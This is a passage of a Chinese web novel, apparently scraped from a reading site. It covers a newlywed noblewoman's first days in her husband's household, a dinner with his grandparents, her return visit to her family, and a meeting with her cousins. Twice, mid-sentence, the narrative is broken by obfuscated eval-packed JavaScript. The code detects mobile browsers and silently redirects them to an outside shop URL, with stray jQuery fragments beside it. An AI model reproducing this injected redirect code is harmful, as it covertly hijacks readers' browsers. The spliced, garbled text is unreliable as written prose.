花嬷嬷扬声道:“夫人,是这样的。先前伺候长公主和驸马爷的下人没了活计,老爷说要放人回乡。只是,有几家人就是赖着不肯走。”她双手一拍,苦恼道:“这府里主子少,也没别的活干。她们都是伺候过公主和驸马爷的老人了,奴婢实在是没法呀。” 听罢,沈云楹看也不看花嬷嬷,只转头去看大管家,“燕伯,花嬷嬷说的,可是真的?” 大管家先是瞪花嬷嬷一眼,再恭敬回话 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“好了,大喜的日子,所有人都有三个月赏钱。”沈云楹拐回正题,赏钱发下去,她微微抬眼,目光扫过众人,再次轻柔地开口,“你们都是府里的老人,所有事都是做惯的,今后府里的事务一切照旧。我这里只有一条规矩,那就是遵守夫君的规矩,没其他事,都不用来寻我。” 众人应是。 沈云楹摆摆手,“诸位明白就好,那就都散了吧。” 沈云楹率先起身,在银屏银筝的簇拥下缓缓离开花厅。 一回到正屋,沈云楹便要换衣裳松快松快,她躺在美人榻里,难得还记得嘱咐:“晚膳要去荣茂堂和祖父祖母用,到了时辰叫我。” 银屏点头应下。 银筝还挂心刚刚花厅的事,直接不忿开口:“夫人,刚刚故意搞事的花嬷嬷,是杨嬷嬷的亲家。” 这两个人要是联合起来,对沈云楹可是大大的不利。 银屏也正担心这点呢,她皱起眉头,“还有一件要紧的事,那个叫杨明月的丫鬟,是杨嬷嬷的孙女。刚刚在花厅里眼神就不老实,夫人一进门她就敢打量你,一点规矩都没有。也不知道杨嬷嬷和花嬷嬷是怎么教导的。” 沈云楹闭眼养神,轻声道:“没事,杨嬷嬷上来就主动交权,面上功夫一定会做好。至于杨明月,主仆有别,我不传召,她连后院都进不来。” “可是她在前院不是更应该着急?近水楼台先得月啊!”银筝着急道。 在太师府,二老爷就有几个红粉知己在前院书房伺候,没送到后院,二夫人插手不到前院,银牙都快咬碎了。 沈云楹轻松一笑,更不在意了,悠然道:“要看上,燕培风早看上了。还用等到现在?” 和沈云楹有同样想法的杨嬷嬷正在家里训孙女。 “夫人比你好不是多少倍,你还是死了这条心吧。别瞎听你那不成器的爹娘胡扯,早点找个好人家嫁了是正经。” 杨明月不愿意,她自小跟着祖母伺候小少爷,没有功劳也有苦劳。少爷从前房里没人,现在娶妻了,总要纳妾,她自认知根知底。大鱼大肉吃多了,清粥小菜也能入眼吧? 杨嬷嬷见死丫头犟的跟头牛一样,站在那儿不说话,一看就是没改主意,气道:“少爷的脾性你又不是不知道?敢露出半分,当心你的皮。我可没脸保你。” 杨明月跺脚,眼眶都红了,“你还是不是我亲生的祖母?” “不是亲生的我才懒得说你!”杨嬷嬷抬手就要揪起小孙女的耳朵,“当初我就不该让你到少爷身边伺候!” 杨明月往旁边一躲,冷哼道:“在你眼里,我连给少爷做妾都不配吗?你不帮我,我找姥姥去!” 说完,往外冲去,一下子就不见人影。 杨嬷嬷气得不知说什么好,她得想个法子治住这死丫头。 14. 第 14 章 等沈云楹准备好好睡一觉的时候,却又被打断。宫里皇上和皇后,还有太子的赏赐到了。 燕培风和沈云楹齐齐出来领赏。 御前的汪公公亲自带着皇上的口谕来,赏下的所有物件都是成双成对的,希望燕培风和沈云楹日子和和美美,顺心如意。 沈云楹抿唇站在燕培风身边,听到后面只需羞涩低头便好。 等燕培风亲自给汪公公红封,让汪公公沾一沾喜气,再目送他离开。沈云楹心想,这下应该能回去睡觉了吧? 沈云楹抬头看向自己新出炉的夫君,就听燕培风说,“夫人,这些赏赐你看着办。我回书房。” 书房还有一堆需要熟悉的卷宗,燕培风计划在婚嫁结束前看完。 沈云楹被打断睡意的心情瞬间被治愈,宫里送来的足足有两大箱子,除去金银珠宝、绫罗绸缎,还有新鲜的吃食,像是荔枝樱桃,都红彤彤的摆在白骨磁盘上,红布一掀开,格外诱人。 更有一大食盒的糕点,正是赏花宴那日的糕点,还多加了几样进去。 沈云楹温声应道:“我听夫君的。” 她现在就回去尝一尝这些新鲜的水果和糕点。绝不浪费! 身后的银屏和银筝都为自家姑娘感到高兴,能得到这些赏赐,说明早上进宫皇上和皇后对沈云楹很满意,而到了府里,燕培风又放权,任由沈云楹处置御赐之物。 只这么一想,就觉得沈云楹的好日子就要来了! 然而刚回到正屋,沈云楹一句话便让银屏险些打跌。 “快把玉露团和千层锦拿出来,尝不到一品斋的,宫里的也能将就。”沈云楹好久没有吃到这一口,一下子想念的紧。 沈云楹坐下,让银屏和银筝也尝尝,还笑着回忆:“上回赏花宴的时候,我吃着宫里的不如一品斋,果然徒弟还是比不过师傅。” 宫里的白案师傅是一品斋老师傅的徒弟,这事是沈云楹备嫁的时候听说的。消息来源,沈老夫人,所以还是很有可信度的。 说到这里,沈云楹忽然想到,皇后是不是打听过赏花宴那日的情况,以为她喜欢吃,才特意让人送来。 沈云楹不禁面上一囧,她在皇后那里的印象竟然是能吃?! 银屏扶额,不知该喜该忧,“我的姑娘诶!皇上和皇后是老爷最亲近的长辈了,您,真是,银屏都不知道该说什么。” 银筝脑子一转,接话道:“能吃是福。夫人这样不是很好?三夫人可喜欢了。” “那是亲娘,能和婆家长辈一样吗?”银屏眼神一寒,瞪着银筝。 银筝低头嘟嘴,“又不是咱们夫人的婆母。反正皇后在宫里,咱们在宫外。一年到头见不到几次。” 沈云楹深以为然,“事已至此,还是先吃吧。”说着,拿起一块玉露团,轻轻咬开,唇齿留香。 为这,下午不睡觉也值了。 银屏见沈云楹和银筝都不当回事,顿时气结。可是尝到宫中美味的时候,就跟着笑开。 不错,过去的事再纠结无用。而且,换个角度,皇后知道沈云楹贪吃还送来这么多赏赐,不是说明皇后很满意沈云楹嘛? 银屏先前满腹的郁闷瞬间消散。 沈云楹瞅见银屏露出笑脸,心想果然是她的丫鬟,跟她一条心。 主仆几个乐呵呵地喝茶吃时令水果和点心,满室温馨。 到了晚膳时候,燕培风那边让人传话,叫沈云楹先过去荣茂堂,他稍后就到。沈云楹便不再等他,带着银屏银筝先行过去。 燕祖父和燕祖母见沈云楹过来,立刻笑着让人进来坐。 燕祖母招手,笑道:“云楹,我和你祖父粗茶淡饭习惯了,吃不惯这些。” 她示意沈云楹吃刚送上来的荔枝、蜜桃、茯苓饼和百花酥,全都是沈云楹让人送到荣茂堂的宫中赏赐吃食。 燕祖母没交代沈云楹下回别送。因为她和燕祖父很快离开京城,不用多这一句。 沈云楹脸颊泛起薄红,推拒道:“祖父祖母,偶尔尝尝宫中的吃食,换换口味也不错。况且,孙媳和夫君都有。” 她有点心动,但是刚刚用了一些,等下还有晚膳。宫里给得多,沈云楹额外给蒋文笙留出一份,自己还剩不少呢。 燕祖母瞧见沈云楹羞涩的面容,便不再勉强,她朝外看了一眼,确认燕培风真的没来,不由嗔怪道:“培风怎么不知道陪你一起来,这孩子!真是不懂事。” 她慈爱地看着沈云楹,“云楹,你别介意,等下他来了,我们老两口得好好说说他!” “祖母要说孙儿什么?”燕培风的身影出现在门口,大步迈进屋,脸上带着浅笑。 燕祖母横他一眼,直言道:“嫌弃你呢。新婚假期是给你在书房看书的吗?都考上状元了,那些书暂且都抛开吧!” 燕祖父跟着表态,“你祖母说得有理。今日,你就没带孙媳妇逛一逛公主府,这事押后再做也行。明日回门你可得机灵点,在太师和你岳母面前好好表现。” 燕培风听得出祖父祖母一片慈爱之心,只点头道:“祖父祖母教训的是,孙儿会的。” 燕祖父和燕祖母皆笑开,大孙子能听进去,他们两个也能放心离开了。 一旁的沈云楹不禁眉头一挑,凭借她多年的敷衍人经验,一下就听出燕培风的意思。她抬眸看一眼逗得祖父母开怀的燕培风,有种遇到同道中人的感觉。 就不知道两人谁的功夫更深了。 晚膳上来,沈云楹只象征性给燕家祖父母夹了一样菜,顺手给燕培风也添一筷子鸡丝炒百合,这一举动显然更讨燕祖父和燕祖母开心,两人开心,燕培风自然不扫兴。 他嗓音温和,“多谢夫人。你不必布菜,坐下一起用膳。”接着面不改色吃下略带苦味的百合。 沈云楹一应动作轻柔优雅,其实心里有点后悔,刚刚不应该给燕培风布菜。她真的是顺手了。 这是沈云楹第一次给人布菜,按照桌上的人数,她脑子只想着夹三次,顺着右手的顺序夹过去。等反应过来的时候,已经晚了,她只好顺着送到燕培风面前。 希望燕培风不讨厌吃这道菜吧。 沈云楹用余光暗暗观察燕培风的神色,可惜看不出来。那沈云楹就放下了,燕培风安然吃下去,就代表能吃。 饭桌上自是一片和乐。 期间,燕祖父说京城的燕家老宅依旧让范州族人住一阵子,他们要在京城多待一段时间。燕培风没反对,沈云楹就更没有意见,这事就定下来。 夏日昼长,燕祖父和燕祖母拉着燕培风和沈云楹说了好一会子话,都是关于燕培风的事,像是燕培风小时候的趣事,还有他的口味偏好等,都在讲述中透露给沈云楹。 沈云楹明亮的杏眸和燕祖母促狭的眼神对上,沈云楹品味出来燕祖母的意思,我就帮你到儿了,一切尽在不言中。 沈云楹能怎么办? 她只好继续面红羞涩,朝祖母微微点头,表示自己知晓了,多谢祖母。 祖母和沈云楹之间的眉眼官司,燕培风佯装不知。他想到今日的两顿饭,认为沈云楹若能改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768889|189003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,今后同桌吃饭也能好过点。 天色刚黑,两位老人家就催促小夫妻回去,别在荣茂堂待着了。离开前,燕祖母还交代,回门礼已经备好,明天直接带回沈家即可。 出了荣茂堂,燕培风走在前面,一身青色衣袍在溶溶月色下,变成淡雅的白,活脱脱的儒雅君子。 沈云楹在一边偷偷瞧着,不禁点头,燕培风的皮相绝对是京城公子中的顶尖。就连内里,沈云楹握紧手指,脱了衣裳,燕培风的身材不像寻常书生一般瘦弱,而是偏向武将的健壮,只是身板不如武将那边宽大。 昨夜触摸的手感似乎还停留在指尖,告诉她这个男人和话本里不堪一击的弱书生不同。 沈云楹不知不觉间往前走,甚至超过燕培风,在燕培风好奇的目光中骤然停下。沈云楹面色发红,这次真的羞窘。 她小声喊道:“夫君?” 燕培风嗯一声,突然问:“方才想什么呢?” 沈云楹一下被拉回刚刚的记忆,两颊的红意更浓,圆润的杏眸仿佛会说话一般看向燕培风,带着无辜和犹豫,“我,我——” 沈云楹脑子飞速运转,终于想到一个绝佳的借口,有些不好意思地道:“我才知道夫君不喜苦味,刚刚的百合片,是我给夫君添麻烦了。” 言下之意就是她在记燕培风的喜好呢,也在为刚刚的夹菜事件表示歉意。 沈云楹心里对燕培风的定位是住在一起的家人,但记着蒋文笙的话,要表现出对丈夫的尊重和喜爱,两个人的日子才能和睦长久。 燕培风嘴角微勾,暗道果然,沈云楹记住,下次一起用午膳就不用吃酸甜口的菜式了。 “无碍,你刚嫁进来,这些事慢慢来即可。”燕培风对自己选中的沈云楹很包容,从昨夜到现在,沈云楹的表现都不错。 沈云楹微笑点头。 月色渐浓,两人不再说话,夜里的蝉鸣声,激昂起伏,伴着这对新婚夫妻离开。 回到院子,下人已经备好热水,沈云楹和燕培风默契地各自梳洗,换上透气夏日寝衣。 第二次躺在同一张床上,不论是沈云楹,还是燕培风,都有些不自在。 沈云楹喉咙滚动,双眸不停眨动,心里紧张,又不时朝燕培风看去,他到底要不要做夫妻之事啊? 要就快点,早死早超生。明天还得早点回太师府见母亲呢。 沈云楹心里着急,又不好出言催促,双手紧紧攥住大红色的床铺。 而燕培风此时也在挣扎,白日里妻子的那句枝繁叶茂犹在耳畔,他想,沈云楹一定是想要孩子的。 要有孩子,前提就要夜里红翻被浪。 燕培风侧身,身旁之人肌肤莹白,姣好面容在烛光下已让人晃眼,而在月光下,更加盈盈动人。 只是想到这张脸凝眉紧要唇畔的不适模样,燕培风刚起的兴致又消下去。 他眼神一暗,沉声道:“明天要回门,今夜我们和衣而睡。” 沈云楹双眸睁开,惊喜反问:“夫君说真的?” 对上燕培风黑沉的双眸,在夜里格外明亮,她忙讪笑道:“就是,今夜是第二天,我们这样,会不会不好?” 一般新婚,夜夜都要运动一番,再去宫会周公才是。 燕培风眼神一闪,缓缓开口,“我以为你想明日精神些回太师府。不过你想要的话,我——” 沈云楹立即握住燕培风要伸过来的手,笑道:“那就听夫君的。” 说完立刻闭上眼睛,还不忘收回手,迅速塞进被子里。 15. 第 15 章 翌日一早,沈云楹精神奕奕,在燕培风的陪同下,带着好几车的回门礼往太师府而去。 刚到府门口,太师府的大少爷沈础筠领头在前等候,见燕家车马停下,沈础筠快步上前,笑道:“三妹妹,三妹夫。” 沈云楹对沈础筠点点头,“大堂兄。” 燕培风按照沈云楹的排行,跟着唤一声,“大堂兄。” 沈础筠是个性情温和的读书人,对燕培风很推崇,之前就和好友讨论过燕培风的文章,对他的才情心服口服。现下燕培风成了自己的妹夫,想到今后能时常往来,请教文章,沈础筠的笑容就不自觉扩大。 沈础筠在前面领路,路上不停的介绍太师府景致和由来。 沈云楹只觉得今日大堂兄格外话多,她不由往燕培风身上看去,难道遇到燕培风之后,人的话就会变多? 皇上她不了解,但没听说是个嘴碎的皇帝。不然那些御史的唾沫就要淹没金銮殿的柱子。可见面的时候,皇上真的说个不停。 再看看沈础筠。在太师府这么多年,沈云楹都不曾听闻沈础筠有过这个模样啊?恨不得给太师府每个景致都说出个文学因由。 也许是沈云楹的困惑太明显,燕培风若有所感地回头。 沈云楹立时回神,何必多想,她不被影响,变成啰嗦的婆子就好了呀。现在要紧的是,能见到娘啦! “怎么了?”沈础筠刚介绍完壁影上的字画,乃是江南名家仰慕沈太师,特意做了送来的。他就见沈云楹和燕培风停下脚步,以为出了自己不知道的事。 沈云楹无辜笑笑,“没事,大堂兄,我们快些进去吧,别让祖父祖母等急了。” 沈础筠又看看燕培风,见他微微颔首,便应声道:“好,我们这就去后院。” 三人的行踪,随时有下人进厅禀报。 太师府的主子们齐聚慈晖院正厅。沈太师和沈老夫人坐在上首,底下的人按照排行坐好。一向没有存在感的蒋文笙,却是众人的焦点。 今日回门的是她的女儿和女婿。 大夫人温氏本来不喜沈云楹带走那么多嫁妆,这都是早算入公中的钱,分走的就是大房的利益。将来都是属于她这一脉的财产,要不是大老爷坚持,公婆都同意,没有可以操作的空间,大夫人一定会想法子阻挠。 可现在看到二房的王氏和沈云蔓暗暗咬牙的嫉妒模样,大夫人的心情又好上几分。 “今日云楹回门,三弟妹人逢喜事精神爽,瞧着都比以前年轻好看咯。”大夫人笑着寒暄。 蒋文笙客气道:“大嫂谬赞,我都是年近半百的人了。” 蒋文笙心宽体胖,日常又吃好喝好,虽然本身只比大夫人和二夫人小一两岁,但看着像差了一辈似的。 她五官只算清秀,可一身肌肤白皙如雪,叠加在一起,反而有种雅致的韵味。 反而是大夫人温氏操劳府里一大家子的事务,二夫人王氏想着抢管家权,又想着抓紧二老爷的心,为后院心烦。两个人都不如蒋文笙的日子舒坦。 大夫人这边有权利,夫妻感情不错,儿子尚算出息。除了沈云芝那件事,其他的都没被大夫人放进心上。因而对蒋文笙能保持平常心。 可是二夫人就不行了,她爱和妯娌比较,大半辈子都比不过大夫人,幸亏有蒋文笙这个弟妹垫底,现在蒋文笙日子越过越好,自己却越来越差,就连自己的女儿沈云蔓将来也可能被压一头。 二夫人眼中闪过不甘嫉妒,含酸道:“都是半只踏进棺材的人了,还说什么好看漂亮,大嫂,你别忘了,三弟妹还在为三弟守着呢。” 寡妇要那么好看作甚? 要红杏出墙吗? 二夫人藏不住话,就算没说出来,脸上也明晃晃的表现出来。在场的人自然能看懂。 大夫人被当场撂面子,不恼反笑,“二弟妹言重了。我们自家人说些家常话,又是在好日子里,你何必这么较真?” 二夫人还要反驳,外面就传来丫鬟的声音,“老太爷,老夫人,大少爷领着三姑奶奶和三姑爷到了!” 话音刚落,屋内众人不由屏息朝门外看去。 沈云楹一身石榴红长裙,面若芙蓉,腰若柳絮,莲步款款进厅,浑身气质雍容娇艳,与从前安静没有存在感的三姑娘仿佛判若两人。 而沈云楹身侧的男人,一身宽袖靛蓝色圆领长袍,面庞俊朗,深眉琼鼻,行走时从容不迫,在厅内站定又如孤松临渊,气度卓然。 男才女貌,正是厅内众人冒出的第一个念头。 沈云楹先快速朝蒋文笙的方向看看,才回神端正向沈太师和老夫人见礼,“祖父、祖母。” 燕培风拱手行礼,“祖父、祖母。” 沈太师捋着胡须微微颔首,眼里流露出满意的光芒,他含笑道:“都不用多礼。” “培风,你娶了我沈家的姑娘,就是自家人,今日云楹回门,就是家宴,不用讲究这些虚礼。”沈太师眉眼舒展,嗓音沙哑但温和,“云楹生父早亡,但还有祖父、叔伯兄弟在,你切莫辜负了她。” 方才还犹如弥勒佛的笑眼瞬间敛去,苍老浑浊的双目犹如老弓射箭,锐利无比。 燕培风再次躬身,诚恳道:“还请祖父放心,培风定当珍惜云楹。” 沈太师嗯一声,不在多言。沈老夫人不喜欢沈云楹,且燕培风和她娘家还有一段渊源,原是娘家看中的女婿人选。在沈云楹和娘家侄女之间,沈老夫人更偏向后者。 可木已成舟,只能希望沈家从这桩婚事中获益。于是,沈老夫人目光慈爱地看向燕培风,笑道:“孙女婿,我这小孙女性子惫懒,文墨粗浅,早知她与你有缘,我合该日日压着她进学堂!如今入了你沈家的门,还要你多担待。若是她有不妥之处,你只管来告诉我。” 说罢,她的目光又滑到沈云楹身上,难得给沈云楹一个笑脸,只是话语依然带着敲打的意味,“姐妹里头,你是最小,却是头一个出嫁的。你代表的就是沈家女儿的颜面。在燕家,须得安分守己,贤惠大度,早日为夫家开枝散叶。可记住了?” 开枝散叶四个字说得重一点,提醒了在场诸人燕家子嗣单薄之事。 沈云楹刚应下,边上的二夫人立即打蛇随棍上,“是了,真不是伯母说你。你母亲就没能给你父亲留下一条血脉,云楹呐,你可要养好身子,别步了你母亲的后尘。” 沈云楹眼神往二夫人那里一瞥,笑问:“二伯母,侄女不懂,我不是我父亲的血脉吗?怎么你说的我不是父亲和母亲的孩子一样?” “你——”二夫人眼神一厉,尖声道:“你少强词夺理!你已经出嫁,从此你爹只能靠侄子供奉香火。难道不是蒋文笙的错?” “好了!你浑说什么?风诚是础筠他们的亲叔叔,祭拜沈家祠堂难道不是他们应该做的?”沈老夫人在沈太师发怒前截断二夫人的话。 沈风诚是她亲儿子,她还在呢,这个蠢妇就想挑唆孙子不敬亲叔叔? 再说,沈风诚是为了救百姓而死,死得其所,名声极好。他的牌位就在沈家祠堂供着,难道孙子们上香还要念叨一句,这炷香不供奉给沈风诚吗?! 眼看婆母发火,二夫人忙收敛神色,低眉垂目,一副被训斥,但已经知错的模样。 沈老夫人叹口气,万分后悔为二儿子 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沈云楹真是好命! 心底又浮起一个念头,要是她为沈云芝相看的人是燕培风,会不会沈云芝就不会为别的男子动心? 这层心思掩藏的好,大夫人丝毫不露。 沈云蔓想知道沈云楹的近况,但不好明着问,就时不时插话,问出自己想知道的。 沈云楹多是敷衍少言,有大夫人和沈云蔓调节气氛,厅内不时传出欢声笑语。 还有半个时辰就到午膳时间,沈老夫人缓缓道:“你和你母亲两日不见,回去静远斋说说话吧。” “是,多谢祖母。”沈云楹谢的真心实意。 —— 静远斋。 回到静远斋才是回到家了!沈云楹的愉悦显而易见,简直都快溢出来了。整个人松弛懒散地靠在矮榻边。 蒋文笙细细打量过女儿一回,确认沈云楹面色红润,双眸明亮,一看就没受苦。她便放下心来,慵懒地躺到美人榻中,吩咐丫鬟送一盏冰碗来。 大中午的,暑气正盛,从慈晖院走回静远斋,就出了一身汗。 母女两个都是不耐热的体质。尤其是沈云楹,她身姿丰腴,容易出汗,天气热就不喜动,就想在院子里窝着。 蒋文笙喝下一口冰冰凉凉的酸梅汤,放心道:“见你过得不错,我就安心了。” 说到底,蒋文笙并没有多少夫妻相处的经验可以传授给沈云楹,她如实和沈云楹说,“一晃十几年过去,娘都快忘记你爹还在的时候,我们是怎么过日子的。” “娘,您就放一百个心吧。”沈云楹不想母亲在太师府还要为自己操心,信誓旦旦道:“燕培风,真的挺好的。” 不常来后院烦她。 “知道今日回门,还会体贴我。”沈云楹再想出燕培风的一个优点。昨晚没有折腾人,让她睡了一个好觉。 沈云楹忽然想到还给蒋文笙带了御赐的荔枝和樱桃,忙吩咐银筝:“快去拿来,趁着还新鲜,娘,我们赶紧吃。” 御赐的就是比自家种的美味。 沈云楹素手剥开红彤彤的荔枝,递到蒋文笙嘴边,笑问:“娘,这也是因为你女婿才得来的。好不好吃?” 蒋文笙一口咬下,清甜柔软,果然是岭南贡品,冲着沈云楹点点头。 看来女儿出嫁,吃穿用度还能比在沈家更胜一筹。嫁得不亏了! 沈云楹也正想到这点呢,皇上皇后疼爱外甥,她这个外甥媳妇不就跟着沾光? 母女两个乐滋滋的,一起享受美食。 16. 第 16 章 前院书房。 沈太师先和燕培风喝过一盏茶,才命书童取出一箱子书。 沈太师抬起总是微垂着的眼帘,看向书箱的目光幽远而怀念,“这些是老夫早年的笔记,家中后辈平庸,不如送到你手上,才是物尽其用。” 燕培风拱手道谢,“多谢祖父。培风已娶了云楹,也是沈家后辈。”这是委婉的告诉沈太师,燕培风知道他的心意。 沈太师笑了,眼角的皱纹更加苍老,褶子一层堆着一层,比不苟言笑时更像寻常人家的老人。 他走到棋盘前坐下,率先执黑子,“陪老头子下一盘棋?” 燕培风颔首,“恭敬不如从命。” 一盘棋,既是试探,也是提点。 半个时辰过去,慈晖院的人第四次来催促,这盘棋终于下到尾声。最终出乎两人意料,竟是平局。 “你这五年并未荒废,很好。”沈太师双眸生光,到了他这个年纪,看到璞玉心中欣喜,恨不得好好雕琢一番,想到这是自家的孙女婿,心情自然更佳。 从前只是听闻燕培风的璞玉之名,没有接触过。到今日才有实感。 年少才高,别刚入官场就折了才好。 沈太师对燕培风的点拨更加详细,用心程度比之前预想的还要多。 等燕培风被沈础筠和沈础砚带去慈晖院,管家看着燕培风远去的声音,心中满是不解,等沈太师相问,便问:“为何太师对燕培风如此用心提点,比自家的大老爷大少爷几个还尽心。” “棋如人,观燕培风的棋风,已然是蛰伏许久,雄鹰展翅,不是风泽础筠能比的。”沈太师遗憾,家中的儿孙才学平平,毫无灵气。 管家低下头,沈础筠等人年纪轻轻不是秀才就是举人了,太师的衡量标准是他自己,世间能有几个太师这样的奇才? 忽然想到刚离去的燕培风,管家不禁感叹三姑娘好命,竟真的稀里糊涂碰上一个。 太师府中,静远斋的待遇都高了。就前日,皇上赏赐了一串荔枝,那是从岭南运来的新鲜珍贵水果,往常哪有静远斋的份儿? 太师发话要送,老夫人就命人送了两颗过去。 午膳在后院用。 家宴不必男女分席,或是用屏风隔开。 沈太师朝政繁忙,能抽出空见一见燕培风已是格外看中,午膳就不再陪众人用。不过,有沈老夫人在主位坐着,一顿饭热热闹闹地吃完。 沈云楹和蒋文笙第一次和沈家众人一起用饭,她在席间除了专心吃,就是留意蒋文笙有没有不习惯。 饭毕,燕培风就被沈础筠邀去前院书房请教学问,沈云楹则去静远斋午休,蒋文笙今日倒是格外精神,没有睡意。她就唤来银屏和银筝,仔细打听一遍沈云楹在燕家的具体情况。 而同时,二房的咏归院。 二夫人王氏正垂头丧气,不甘不愿道:“今天三房的真是扬眉吐气了。就连你祖父都拨出时间来见他,还给叫去书房待了那么长时间,连你大哥都没有被太师这样看中。” 越说越觉得太师偏心,二夫人气的摔掉桌上的茶盏,“我儿子是他亲孙子,还比不上一个孙女婿?真不知道你祖父怎么想的!” 沈云蔓只能先安抚,“娘,祖父重学问,只要大哥勤恳上进,祖父一定会看在眼里。” 倒是她的亲事似乎遇到了麻烦。 沈云蔓回想今日见到的沈云楹,娇艳夺目,整个人都发着光,显然过得很好。而燕培风,那样一个光风霁月的君子,能做他的夫人,沈云楹真是三生有幸。 见证了三房的风光,二夫人立即想到和永安侯府的亲事。她拉着沈云蔓问:“永安侯府什么时候来提亲啊?” “看到你大伯母看我们的眼神没有?哼,等永安侯府上门提亲这天,我一定要去嘉禾院看看她的嘴脸。”二夫人想想就高兴,冷哼道:“沈云芝那个自甘堕落的贱蹄子,最好在桐安老死,永远不能回京城,我看温氏还能不能笑得出来!” 沈云蔓五官偏稚嫩,这点随了她母亲王氏,可是沈云蔓并不喜欢。和章兴宇站在一起的时候,显得太小了。 此时她眉头蹙起,“我旁敲侧击,章世子说他娘要晚些再定。咱们太师府先着急办沈云楹的亲事,抽不出空来。” 二夫人面上怒气更甚,猛地站起来,“好个三房的,她们母女两个不能挡住你的路!” 沈云蔓叹口气,她母亲总是这么冲动。 “娘,我觉得永安侯夫人,不像是面上说的这个理由。”沈云蔓下意识想到进宫赴赏花宴的事,难道永安侯府介意这一点? 二夫人蛮不讲理道:“要不是三房的在,就没有这个借口!” 沈云蔓扶额,她娘的脾气,好坏相伴。沈云蔓都已经习惯了。 沈云蔓建议二夫人,“娘,要不您去慈晖院找祖母,尽快落实这门亲事,不早定下名分,我担心生变。不能让永安侯夫人那边一直拖着,万一大伯母又生出别的计策,这门亲事黄了怎么办?” 沈云蔓和章兴宇接触快三个月,期间也打过退堂鼓,但是找不到更好的。 —— 回门一天太短,沈云楹恨不得一直住在静远斋,可是在蒋文笙赶人的眼神中,缓缓离开静远斋。 和来时一样,沈云楹和燕培风同坐一车。 燕家的这辆马车是燕培风坐惯的,车内宽敞,设有茶几和暗格。燕培风在前院和沈础筠、沈础砚等人谈诗论画,兴致未减,想起上次在马车内遗留下一本前朝的点评录,写书人十分洒脱,嬉笑怒骂无不精准。 上次他还剩一半未看完,现在正好接着阅读。 沈云楹从香囊取下一块梅干塞嘴里,酸酸甜甜的,闭目养神前发现燕培风居然在马车上看书? 沈云楹不禁瞳孔一震,燕培风这么用功吗? 她想到放在后面车中的一箱子书,那是沈太师给燕培风看的。 沈云楹悄悄往外挪动一点,这些繁杂的知识不要传进她的脑子。她只学自己想学的就行了。 既然燕培风在看书,回来的路上沈云楹都很安静,没有出言打扰燕培风。 快到公主府的时候,燕培风终于搁下书本,声音温文尔雅,“夫人,我想去书房整理祖父送的书。晚膳夫人自便即可。” 沈云楹下意识点头,“好的,夫君只管去。” 直到月上枝头,逐渐往西边坠落,到了亥时,燕培风还没有回房的迹象。 沈云楹不顾银屏和银筝的反对,换上柔软的寝衣,将自己塞进被子里。 “燕培风刚得了祖父的旧书,宝贝着呢。现在那堆书才是他的妻子。你们放心,今夜燕培风不会来了。”沈云楹闭着眼说话,脑子渐渐地如同浆糊一般黏在一起,没了思考能力,只能顺着思路说:“今晚初十呢。” 根据燕培风给出的来后院时间,现在还不到十五。 银屏皱起眉,“今儿还是新婚第三天呢。” 不管怎么说,新婚三日,都得在新房吧?这个习俗银屏还是听说过的。 银屏见沈云楹又困又累,想直接睡觉,丝毫没有等燕培风的意思。她想了想,以防万一,还是在外头守夜。 这一夜,沈云楹睡得憨甜。 她不知道,前院的书房还有一个人盯着燕培风的动静,宁愿彻夜不睡,也要看看燕培风会不会去后院陪新夫人。 杨明月守着烛火,守着前院书房的门口,眼神越来越锃亮。 黑沉沉的天色,依然掩盖不住杨明月欣喜的心情。 这才新婚第三天,少爷就不去新夫人那里了! 哼,祖母还说少爷多喜欢新夫人,新夫人多么好,结果呢?还不是不得少爷的心。杨明月勾起嘴角,她跟在少爷身边这么多年,自认还是了解少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新婚第四天,沈云楹终于如愿以偿睡上懒觉,直到日上三竿,才缓缓清醒,用过早膳。本来打算去公主府的后院逛逛,熟悉熟悉环境,想想今后如何消遣。 忽然银筝送来一封拜帖。 是蒋家小表妹蒋琬送来的。 原来蒋家要回江南了,蒋琬邀请沈云楹去参加临别宴,她做东,蒋高恒作陪。 沈云楹想到和蒋高恒半途而废的婚事,本想拒绝,骤然想起她这里还留有一件蒋高恒与友人亲笔做的游记。 不如就趁此机会还给蒋高恒。 于是,沈云楹便答应出门。她带着银屏和银筝赶赴悦来楼包厢。 蒋琬一如既往的可爱,一见面就兴冲冲地跑上来喊:“云楹表姐!你终于来了!” “我还怕你不会来呢。” 蒋琬想到什么就说什么,她嘟起嘴跟沈云楹抱怨,“母亲和哥哥都不准我来找你玩儿!就连表姐嫁人,我也不能去看!” 听到这个,沈云楹有点讪讪,因为她开始以为是和蒋家的婚事,老夫人等人不想邀请蒋家的人来太师府。 沈云楹还跟蒋文笙抱怨这事,结果被蒋文笙告知,是因为钦天监很重视婚事,方方面面都测算过,属相相克的全都要避讳。 就连沈家的庶子,沈云楹的亲叔叔也去了城外的灵城寺闭门读书。 这事儿就真的是算命的锅。 沈云楹只能摸摸小姑娘的头,“今天逛街也是一样的呀。” 沈云楹和蒋琬计划好今日行程,小姑娘就在一边享用糖葫芦,先填饱肚子再逛街。 沈云楹便朝蒋高恒走去,“二表兄。” 蒋高恒面色有些赧然,直接拱手弯腰,“表妹,是二表兄对不住你。” 17. 第 17 章 沈云楹一怔,灵动的杏眸微微睁大,她思索片刻,没想出蒋高恒有哪里对不起她? 蒋高恒见沈云楹眼露迷茫,解释道:“我不该在大庭广众之下议论表妹的亲事,有损你的名声。家中商议之事,是我配不上表妹,还请表妹莫怪。” 